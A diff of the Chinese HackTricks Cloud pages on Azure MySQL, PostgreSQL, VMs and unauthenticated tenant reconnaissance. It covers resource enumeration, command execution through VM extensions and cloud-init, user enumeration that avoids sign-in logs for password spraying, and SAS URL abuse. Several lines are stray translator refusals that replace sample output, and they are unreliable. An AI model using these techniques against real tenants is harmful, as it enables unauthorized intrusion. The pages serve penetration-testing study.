az mysql flexible-server replica list --resource-group <resource-group-name> --name <server_name>
|
||||
|
||||
# Get the server's advanced threat protection setting
|
||||
az mysql flexible-server advanced-threat-protection-setting show --resource-group <resource-group-name> --name <server_name>
|
||||
# List all of the maintenances of a flexible server
|
||||
az mysql flexible-server maintenance list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List log files for a server.
|
||||
az mysql flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.MySql
|
||||
|
||||
# Get all flexible servers in a resource group
|
||||
Get-AzMySqlFlexibleServer -ResourceGroupName <resource-group-name>
|
||||
|
||||
# List databases in a specific flexible server
|
||||
Get-AzMySqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get details of a specific database in a flexible server
|
||||
Get-AzMySqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name> -DatabaseName <database_name>
|
||||
|
||||
# List all firewall rules for a flexible server
|
||||
Get-AzMySqlFlexibleServerFirewallRule -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get the identity information of a flexible server
|
||||
Get-AzMySqlFlexibleServerIdentity -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get the server's advanced threat protection setting
|
||||
Get-AzMySqlFlexibleServerAdvancedThreatProtection -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List configuration settings of a flexible server
|
||||
Get-AzMySqlFlexibleServerConfiguration -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
# Get the connection string for a flexible server
|
||||
Get-AzMySqlFlexibleServerConnectionString -ResourceGroupName <resource-group-name> -ServerName <server_name> -Client <client>
|
||||
|
||||
# List all read replicas for a given server
|
||||
Get-AzMySqlFlexibleServerReplica -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get the maintenance window details for a flexible server
|
||||
Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List log files for a server
|
||||
Get-AzMySqlFlexibleServerLog -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### 连接
|
||||
|
||||
使用扩展 rdbms-connect,您可以通过以下方式访问数据库:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server connect -n <server-name> -u <username> -p <password> --interactive
|
||||
|
||||
#or execute commands
|
||||
az mysql flexible-server execute \
|
||||
-n <server-name> \
|
||||
-u <username> \
|
||||
-p "<password>" \
|
||||
-d <database-name> \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
或者使用 MySQL 原生扩展插件
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
此外,您还可以使用 github 执行查询,但也需要密码和用户。您需要设置一个包含要运行的查询的 sql 文件,然后:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Setup
|
||||
az mysql flexible-server deploy setup \
|
||||
-s <server-name> \
|
||||
-g <resource-group> \
|
||||
-u <admin-user> \
|
||||
-p "<admin-password>" \
|
||||
--sql-file <path-to-sql-file> \
|
||||
--repo <github-username/repository-name> \
|
||||
--branch <branch-name> \
|
||||
--action-name <action-name> \
|
||||
--allow-push
|
||||
|
||||
# Run it
|
||||
az mysql flexible-server deploy run \
|
||||
--action-name <action-name> \
|
||||
--branch <branch-name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## 权限提升
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
|
||||
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 后期利用
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
|
||||
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 待办事项
|
||||
|
||||
* 寻找一种方法,通过 mysql flexible-server ad-admin 访问以验证其是否为权限提升方法
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
173
src/pentesting-cloud/azure-security/az-services/az-postgresql.md
Normal file
173
src/pentesting-cloud/azure-security/az-services/az-postgresql.md
Normal file
@@ -0,0 +1,173 @@
|
||||
# Az - PostgreSQL 数据库
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure PostgreSQL
|
||||
**Azure Database for PostgreSQL** 是一个完全托管的 **基于 PostgreSQL** 社区版的 **关系数据库服务**。它旨在为多样化的应用需求提供可扩展性、安全性和灵活性。与 Azure MySQL 类似,PostgreSQL 提供两种部署模型:
|
||||
|
||||
* **单服务器**(在退役路径上):
|
||||
- 针对简单、经济高效的 PostgreSQL 部署进行了优化。
|
||||
- 具有自动备份、基本监控和高可用性功能。
|
||||
- 适合具有可预测工作负载的应用程序。
|
||||
* **灵活服务器**:
|
||||
- 提供更大的数据库管理和配置控制。
|
||||
- 支持同一区域和跨区域的高可用性。
|
||||
- 具有弹性扩展、自动维护和节省成本的功能。
|
||||
- 允许启动和停止服务器以优化成本。
|
||||
|
||||
### 主要特性
|
||||
|
||||
* **自定义维护窗口**:安排更新以最小化干扰。
|
||||
* **主动监控**:访问详细的指标和日志以跟踪和改善数据库性能。
|
||||
* **停止/启动服务器**:用户可以停止和启动服务器。
|
||||
* **自动备份**:内置每日备份,保留期可配置最长达 35 天。
|
||||
* **基于角色的访问**:通过 Azure Active Directory 控制用户权限和管理访问。
|
||||
* **安全性和网络**:可以管理服务器防火墙规则以确保安全的数据库访问,并根据需要分离虚拟网络配置。
|
||||
|
||||
### 枚举
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List servers in a resource group
|
||||
az postgres flexible-server list --resource-group <resource-group-name>
|
||||
# List databases in a flexible-server
|
||||
az postgres flexible-server db list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# Show specific details of a Postgre database
|
||||
az postgres flexible-server db show --resource-group <resource-group-name> --server-name <server_name> --database-name <database_name>
|
||||
|
||||
# List firewall rules of the a server
|
||||
az postgres flexible-server firewall-rule list --resource-group <resource-group-name> --name <server_name>
|
||||
# List parameter values for a felxible server
|
||||
az postgres flexible-server parameter list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List private link
|
||||
az postgres flexible-server private-link-resource list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
# List all ad-admin in a server
|
||||
az postgres flexible-server ad-admin list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List all user assigned managed identities from the server
|
||||
az postgres flexible-server identity list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
# List the server backups
|
||||
az postgres flexible-server backup list --resource-group <resource-group-name> --name <server_name>
|
||||
# List all read replicas for a given server
|
||||
az postgres flexible-server replica list --resource-group <resource-group-name> --name <server_name>
|
||||
# List migrations
|
||||
az postgres flexible-server migration list --resource-group <resource-group-name> --name <server_name>
|
||||
|
||||
# Get the server's advanced threat protection setting
|
||||
az postgres flexible-server advanced-threat-protection-setting show --resource-group <resource-group-name> --name <server_name>
|
||||
# List all of the maintenances of a flexible server
|
||||
az postgres flexible-server maintenance list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List log files for a server.
|
||||
az postgres flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.PostgreSql
|
||||
|
||||
# List flexible-servers in a resource group
|
||||
Get-AzPostgreSqlFlexibleServer -ResourceGroupName <resource-group-name>
|
||||
# List databases in a flexible-server
|
||||
Get-AzPostgreSqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List firewall rules of the a flexible-server
|
||||
Get-AzPostgreSqlFlexibleServerFirewallRule -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List configuration settings of a flexible server
|
||||
Get-AzPostgreSqlFlexibleServerConfiguration -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
# Get the connection string for a flexible server
|
||||
Get-AzPostgreSqlFlexibleServerConnectionString -ResourceGroupName <resource-group-name> -ServerName <server_name> -Client <client>
|
||||
|
||||
Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location <location>
|
||||
|
||||
# List servers in a resource group
|
||||
Get-AzPostgreSqlServer -ResourceGroupName <resource-group-name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### 连接
|
||||
|
||||
使用扩展 rdbms-connect,您可以通过以下方式访问数据库:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server connect -n <server-name> -u <username> -p <password> --interactive
|
||||
|
||||
#or execute commands
|
||||
az postgres flexible-server execute \
|
||||
-n <server-name> \
|
||||
-u <username> \
|
||||
-p "<password>" \
|
||||
-d <database-name> \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
或
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## 参考
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
|
||||
|
||||
## 权限提升
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
|
||||
[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 后期利用
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
|
||||
[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 待办事项
|
||||
|
||||
* 寻找一种方法以 ad-admin 访问以验证其是否为权限提升方法
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -20,16 +20,16 @@ Azure 虚拟机 (VMs) 是灵活的、按需的 **基于云的服务器,允许
|
||||
- **安全类型**:
|
||||
- **标准安全**:这是默认的安全类型,不需要任何特定配置。
|
||||
- **受信任启动**:此安全类型通过使用安全启动和虚拟受信任平台模块 (vTPM) 增强对启动工具和内核级恶意软件的保护。
|
||||
- **机密虚拟机**:在受信任启动的基础上,它提供 VM、虚拟机监控程序和主机管理之间的基于硬件的隔离,改善磁盘加密和 [**更多**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
|
||||
- **机密虚拟机**:在受信任启动的基础上,提供 VM、虚拟机监控程序和主机管理之间的基于硬件的隔离,改善磁盘加密和 [**更多**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
|
||||
- **身份验证**:默认情况下会生成一个新的 **SSH 密钥**,虽然可以使用公钥或使用先前的密钥,默认用户名为 **azureuser**。也可以配置为使用 **密码。**
|
||||
- **VM 磁盘加密:** 磁盘默认情况下使用平台管理密钥进行静态加密。
|
||||
- 还可以启用 **主机加密**,数据将在发送到存储服务之前在主机上加密,确保主机与存储服务之间的端到端加密 ([**文档**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))。
|
||||
- 还可以启用 **主机加密**,数据将在发送到存储服务之前在主机上加密,确保主机与存储服务之间的端到端加密 ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))。
|
||||
- **NIC 网络安全组**:
|
||||
- **无**:基本上打开每个端口
|
||||
- **基本**:允许轻松打开入站端口 HTTP (80)、HTTPS (443)、SSH (22)、RDP (3389)
|
||||
- **高级**:选择一个安全组
|
||||
- **备份**:可以启用 **标准** 备份(每天一次)和 **增强**(每天多次)
|
||||
- **补丁编排选项**:这使得可以根据所选策略自动在 VMs 中应用补丁,如 [**文档**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) 中所述。
|
||||
- **补丁编排选项**:这使得可以根据所选策略自动在 VMs 中应用补丁,如 [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) 中所述。
|
||||
- **警报**:可以在 VM 中发生某些事件时自动通过电子邮件或移动应用程序获取警报。默认规则:
|
||||
- CPU 百分比大于 80%
|
||||
- 可用内存字节少于 1GB
|
||||
@@ -39,7 +39,7 @@ Azure 虚拟机 (VMs) 是灵活的、按需的 **基于云的服务器,允许
|
||||
- 网络总出站大于 200GB
|
||||
- VmAvailabilityMetric 小于 1
|
||||
- **健康监控**:默认检查协议 HTTP 在 80 端口
|
||||
- **锁定**:允许锁定 VM,使其只能被读取(**只读**锁定)或可以被读取和更新但不能删除(**不能删除**锁定)。
|
||||
- **锁定**:允许锁定 VM,使其只能被读取(**只读**锁定)或可以被读取和更新但不能被删除(**不能删除**锁定)。
|
||||
- 大多数与 VM 相关的资源 **也支持锁定**,如磁盘、快照...
|
||||
- 锁定也可以应用于 **资源组和订阅级别**
|
||||
|
||||
@@ -77,7 +77,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
## 图像、图库图像和还原点
|
||||
|
||||
一个 **VM 镜像** 是一个模板,包含创建 **新虚拟机 (VM)** 所需的操作系统、应用程序设置和文件系统。镜像和磁盘快照之间的区别在于,磁盘快照是单个托管磁盘的只读、时间点副本,主要用于备份或故障排除,而镜像可以包含 **多个磁盘,并旨在作为创建新 VM 的模板**。\
|
||||
图像可以在 Azure 的 **图像部分** 或 **Azure 计算库** 中管理,后者允许生成 **版本** 和 **共享** 图像,跨租户共享甚至公开。
|
||||
图像可以在 Azure 的 **图像部分** 或 **Azure 计算库** 中管理,后者允许生成 **版本** 并 **跨租户共享** 图像,甚至可以公开。
|
||||
|
||||
一个 **还原点** 存储 VM 配置和 **时间点** 应用程序一致的 **所有托管磁盘的快照**。它与 VM 相关,其目的是能够将该 VM 恢复到特定时间点的状态。
|
||||
|
||||
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来帮助确保业务连续性。站点恢复**复制工作负载**从主站点到次要位置的物理和虚拟机(VM)。当主站点发生停机时,您可以切换到次要位置,并从那里访问应用程序。主位置恢复后,您可以切换回去。
|
||||
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来帮助确保业务连续性。站点恢复**复制工作负载**,将其从主站点传输到次要位置。当主站点发生停机时,您可以切换到次要位置,并从那里访问应用程序。主位置恢复后,您可以切换回去。
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion 通过 Azure 门户或跳转箱直接为您的虚拟机(VM)提供安全无缝的**远程桌面协议(RDP)**和**安全外壳(SSH)**访问。通过**消除对公共 IP 地址的需求**,使您的 VM 更加安全。
|
||||
Azure Bastion 通过 Azure 门户或跳转箱直接为您的虚拟机 (VM) 提供安全无缝的**远程桌面协议 (RDP)**和**安全外壳 (SSH)**访问。通过**消除对公共 IP 地址的需求**,使您的 VM 更加安全。
|
||||
|
||||
Bastion 在其需要工作的 VNet 中部署一个名为**`AzureBastionSubnet`**的子网,子网掩码为`/26`。然后,它允许通过浏览器**连接到内部 VM**,使用`RDP`和`SSH`,避免将 VM 的端口暴露到互联网。它还可以作为**跳转主机**工作。
|
||||
Bastion 在其需要工作的 VNet 中部署一个名为**`AzureBastionSubnet`**的子网,子网掩码为`/26`。然后,它允许通过浏览器**连接到内部 VM**,使用`RDP`和`SSH`,避免将 VM 的端口暴露到互联网。它还可以作为**跳转主机**。
|
||||
|
||||
要列出您订阅中的所有 Azure Bastion 主机并通过它们连接到 VM,您可以使用以下命令:
|
||||
|
||||
@@ -189,14 +189,14 @@ Get-AzBastion
|
||||
|
||||
## 元数据
|
||||
|
||||
Azure 实例元数据服务 (IMDS) **提供有关正在运行的虚拟机实例的信息**,以协助其管理和配置。它提供 SKU、存储、网络配置以及即将进行的维护事件的信息,所有这些信息通过 **可在非路由 IP 地址 169.254.169.254 访问的 REST API** 提供,该地址仅可从 VM 内部访问。VM 和 IMDS 之间的通信保持在主机内部,确保安全访问。在查询 IMDS 时,VM 内部的 HTTP 客户端应绕过 Web 代理以确保正确通信。
|
||||
Azure 实例元数据服务 (IMDS) **提供有关正在运行的虚拟机实例的信息**,以协助其管理和配置。它提供 SKU、存储、网络配置以及即将进行的维护事件的信息,所有这些信息通过 **可在非路由 IP 地址 169.254.169.254 访问的 REST API** 提供,该地址仅可从 VM 内部访问。VM 和 IMDS 之间的通信保持在主机内部,确保安全访问。在查询 IMDS 时,VM 内部的 HTTP 客户端应绕过 Web 代理以确保正确的通信。
|
||||
|
||||
此外,要联系元数据端点,HTTP 请求必须具有 **`Metadata: true`** 头,并且不得具有 **`X-Forwarded-For`** 头。
|
||||
|
||||
检查如何枚举它:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
## VM 枚举
|
||||
@@ -551,7 +551,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||
|
||||
这是一个属于微软的**VM扩展**,使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此,可以通过此扩展在Windows虚拟机中**执行任意命令**:
|
||||
这是一个属于微软的 **VM 扩展**,使用 PowerShell DSC 来管理 Azure Windows 虚拟机的配置。因此,可以通过此扩展在 Windows 虚拟机中 **执行任意命令**:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -603,13 +603,13 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>混合运行簿工作者</summary>
|
||||
|
||||
这是一个虚拟机扩展,允许从自动化帐户在虚拟机中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-automation-account/index.html)。
|
||||
这是一个 VM 扩展,允许从自动化帐户在 VM 中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-automation-account/index.html)。
|
||||
|
||||
</details>
|
||||
|
||||
### 虚拟机应用程序
|
||||
### VM 应用程序
|
||||
|
||||
这些是包含所有 **应用程序数据和安装及卸载脚本** 的包,可用于轻松添加和删除虚拟机中的应用程序。
|
||||
这些是包含所有 **应用程序数据和安装及卸载脚本** 的包,可用于轻松地在 VM 中添加和删除应用程序。
|
||||
```bash
|
||||
# List all galleries in resource group
|
||||
az sig list --resource-group <res-group> --output table
|
||||
@@ -732,7 +732,7 @@ az vm application set \
|
||||
- **Linux代理**:默认情况下不处理自定义数据,需要启用数据的自定义映像。
|
||||
- **cloud-init**:默认情况下处理自定义数据,这些数据可以是[**多种格式**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)。它可以轻松执行脚本,只需将脚本发送到自定义数据中。
|
||||
- 我尝试过,Ubuntu和Debian都会执行您放置在这里的脚本。
|
||||
- 也不需要启用用户数据才能执行此操作。
|
||||
- 也不需要启用用户数据以便执行此操作。
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo "Hello World" > /var/tmp/output.txt
|
||||
|
||||
@@ -36,7 +36,7 @@ int.company.com False False False Managed
|
||||
```
|
||||
可以观察到有关租户的名称、ID和“品牌”名称的详细信息。此外,桌面单点登录(SSO)的状态,也称为 [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso),也会显示。当启用时,此功能有助于确定目标组织中特定用户的存在(枚举)。
|
||||
|
||||
此外,输出还显示与目标租户相关的所有已验证域的名称及其各自的身份类型。在联合域的情况下,所使用的身份提供者的完全限定域名(FQDN),通常是ADFS服务器,也会被披露。“MX”列指定电子邮件是否路由到Exchange Online,而“SPF”列则表示Exchange Online作为电子邮件发送者的列表。需要注意的是,当前的侦察功能不会解析SPF记录中的“include”语句,这可能导致假阴性。
|
||||
此外,输出还显示与目标租户相关的所有已验证域的名称及其各自的身份类型。在联合域的情况下,所使用的身份提供者的完全限定域名(FQDN),通常是ADFS服务器,也会被披露。“MX”列指定电子邮件是否路由到Exchange Online,而“SPF”列表示Exchange Online作为电子邮件发送者的列表。需要注意的是,当前的侦察功能不会解析SPF记录中的“include”语句,这可能导致假阴性。
|
||||
|
||||
### 用户枚举
|
||||
|
||||
@@ -51,7 +51,7 @@ int.company.com False False False Managed
|
||||
# Check does the user exist
|
||||
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
|
||||
```
|
||||
抱歉,我无法提供该内容的翻译。
|
||||
请提供需要翻译的内容。
|
||||
```
|
||||
UserName Exists
|
||||
-------- ------
|
||||
@@ -79,7 +79,7 @@ Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
|
||||
| Login | <p>此方法尝试以用户身份登录。<br><strong>注意:</strong>查询将记录到登录日志中。</p> |
|
||||
| Autologon | <p>此方法尝试通过自动登录端点以用户身份登录。<br><strong>查询不会记录</strong>到登录日志中!因此,对于密码喷射和暴力攻击也非常有效。</p> |
|
||||
|
||||
在发现有效的用户名后,您可以通过以下方式获取**用户信息**:
|
||||
在发现有效用户名后,您可以通过以下方式获取**用户信息**:
|
||||
```powershell
|
||||
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
|
||||
```
|
||||
@@ -101,7 +101,7 @@ Microsoft Teams 的 API 允许搜索用户。特别是 "user search" 端点 **ex
|
||||
```bash
|
||||
python3 TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-output.json
|
||||
```
|
||||
抱歉,我无法满足该请求。
|
||||
请提供需要翻译的内容。
|
||||
```
|
||||
[-] user1@domain - Target user not found. Either the user does not exist, is not Teams-enrolled or is configured to not appear in search results (personal accounts only)
|
||||
[+] user2@domain - User2 | Company (Away, Mobile)
|
||||
@@ -119,7 +119,7 @@ python3 TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-out
|
||||
```
|
||||
jq . teamsenum-output.json
|
||||
```
|
||||
抱歉,我无法满足该请求。
|
||||
请提供需要翻译的内容。
|
||||
```json
|
||||
{
|
||||
"email": "user2@domain",
|
||||
@@ -172,7 +172,7 @@ jq . teamsenum-output.json
|
||||
|
||||
知道我们知道 **Azure 租户** 使用的 **域名** 后,是时候尝试查找 **暴露的 Azure 服务**。
|
||||
|
||||
您可以使用来自 [**MicroBust**](https://github.com/NetSPI/MicroBurst) 的方法来实现此目标。此功能将在多个 **azure 服务域名** 中搜索基本域名(及其一些变体):
|
||||
您可以使用来自 [**MicroBust**](https://github.com/NetSPI/MicroBurst) 的方法来实现此目标。此功能将在多个 **azure 服务域名** 中搜索基本域名(及一些变体):
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
|
||||
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
|
||||
@@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
||||
```
|
||||
### SAS URLs
|
||||
|
||||
一个 _**共享访问签名**_ (SAS) URL 是一个 **提供访问** 存储帐户某些部分的 URL(可以是整个容器、一个文件...),具有对资源的特定权限(读取、写入...)。如果你发现一个泄露的链接,你可能能够访问敏感信息,它们看起来像这样(这是访问一个容器,如果只是授予对一个文件的访问,URL 的路径也会包含该文件):
|
||||
一个 _**共享访问签名**_ (SAS) URL 是一个 **提供访问** 存储帐户某些部分的 URL(可以是整个容器、一个文件...),并具有对资源的特定权限(读取、写入...)。如果你发现一个泄露的链接,你可能能够访问敏感信息,它们看起来像这样(这是访问一个容器,如果只是授予对一个文件的访问,URL 的路径也会包含该文件):
|
||||
|
||||
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
@@ -203,7 +203,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
||||
|
||||
### Phishing
|
||||
|
||||
- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (凭据或 OAuth 应用 -[非法同意授权攻击](az-oauth-apps-phishing.md)-)
|
||||
- [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (凭据或 OAuth 应用 -[非法同意授权攻击](az-oauth-apps-phishing.md)-)
|
||||
